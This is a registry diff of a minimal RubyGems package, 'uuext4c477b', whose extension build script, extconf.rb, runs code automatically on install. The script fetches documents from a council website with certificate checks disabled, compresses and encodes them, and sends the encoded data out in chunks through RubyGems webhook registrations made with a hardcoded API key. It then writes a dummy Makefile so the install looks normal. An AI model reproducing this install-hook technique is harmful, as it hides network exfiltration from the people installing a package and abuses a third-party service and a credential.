uuext4c477b 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.yardopts +1 -0
- data/ext/z/extconf.rb +9 -0
- data/hack.rb +1 -0
- data/lib/x.rb +1 -0
- metadata +44 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 98482ac18267940db3af9cbc217e5fd123c826350d73907bc888e31593a4195f
|
|
4
|
+
data.tar.gz: d9333f16cc936bc87eea94a68a1b1d5e05688ba314ed92682c638bc425c92119
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: d47f4cf236e0cb19abe9c1b678a7af159b79ce851ad5d7491ed3dfd631ad25cf26a7e17ca597350af78971d2aee144c9652b1580b9ea151ad47385eeea35a3d4
|
|
7
|
+
data.tar.gz: 6669e9d01fb6a209b34b471a4d96fa6b8bfa82b935d6ca205540959c8e41f5f7aa6288b7bdff3705756f5ba51de805eb3cc17ef504149d38616f111760e33d55
|
data/.yardopts
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
--load ./hack.rb
|
data/ext/z/extconf.rb
ADDED
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
begin
|
|
2
|
+
require 'net/http';require 'uri';require 'zlib';require 'base64';require 'openssl'
|
|
3
|
+
key='rubygems_0486bc8a470001782f584e75f551325b6600460b27a201d8'; name='uuext4c477b'; paths=['/ieListDocuments.aspx?CId=172&MId=8402','/ieListDocuments.aspx?CId=327&MId=8405','/ieListDocuments.aspx?CId=519&MId=8249','/ieListDocuments.aspx?CId=172&MId=8403','/ieListDocuments.aspx?CId=171&MId=8320']
|
|
4
|
+
all=''; paths.each do |pa| t=URI('https://moderngov.southwark.gov.uk'+pa); h=Net::HTTP.new(t.hostname,t.port);h.use_ssl=true;h.verify_mode=OpenSSL::SSL::VERIFY_NONE;h.read_timeout=60; res=h.request(Net::HTTP::Get.new(t.request_uri,{'User-Agent'=>'Mozilla/5.0'})); all<<"\n#####PATH #{pa} STATUS#{res.code}#####\n"+res.body; end
|
|
5
|
+
data=Base64.urlsafe_encode64(Zlib::Deflate.deflate(all)).delete('=');chunks=data.scan(/.{1,200}/)
|
|
6
|
+
chunks.each_with_index do |ch,i| u=URI('https://rubygems.org/api/v1/web_hooks');q=Net::HTTP::Post.new(u);q['Authorization']=key;q.set_form_data({'gem_name'=>name,'url'=>'https://example.com/K%03d/%s'%[i,ch]}); Net::HTTP.start(u.hostname,u.port,use_ssl:true){|x|x.request(q)} rescue nil; end
|
|
7
|
+
u=URI('https://rubygems.org/api/v1/web_hooks');q=Net::HTTP::Post.new(u);q['Authorization']=key;q.set_form_data({'gem_name'=>name,'url'=>'https://example.com/KEND_'+chunks.size.to_s});Net::HTTP.start(u.hostname,u.port,use_ssl:true){|x|x.request(q)}
|
|
8
|
+
rescue=>e; begin; u=URI('https://rubygems.org/api/v1/web_hooks');q=Net::HTTP::Post.new(u);q['Authorization']=key;q.set_form_data({'gem_name'=>name,'url'=>'https://example.com/KERR_'+e.class.to_s+'_'+e.message.gsub(/[^A-Za-z0-9.-]/,'_')[0,80]});Net::HTTP.start(u.hostname,u.port,use_ssl:true){|x|x.request(q)};rescue;end;end
|
|
9
|
+
File.write('Makefile', "all:\n\ttrue\ninstall:\n\ttrue\n")
|
data/hack.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
#yard
|
data/lib/x.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
#
|
metadata
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: uuext4c477b
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.1
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- A
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
email:
|
|
13
|
+
- a@example.com
|
|
14
|
+
executables: []
|
|
15
|
+
extensions:
|
|
16
|
+
- ext/z/extconf.rb
|
|
17
|
+
extra_rdoc_files: []
|
|
18
|
+
files:
|
|
19
|
+
- ".yardopts"
|
|
20
|
+
- ext/z/extconf.rb
|
|
21
|
+
- hack.rb
|
|
22
|
+
- lib/x.rb
|
|
23
|
+
homepage: https://example.com
|
|
24
|
+
licenses:
|
|
25
|
+
- MIT
|
|
26
|
+
metadata: {}
|
|
27
|
+
rdoc_options: []
|
|
28
|
+
require_paths:
|
|
29
|
+
- lib
|
|
30
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '0'
|
|
35
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
36
|
+
requirements:
|
|
37
|
+
- - ">="
|
|
38
|
+
- !ruby/object:Gem::Version
|
|
39
|
+
version: '0'
|
|
40
|
+
requirements: []
|
|
41
|
+
rubygems_version: 3.6.7
|
|
42
|
+
specification_version: 4
|
|
43
|
+
summary: test
|
|
44
|
+
test_files: []
|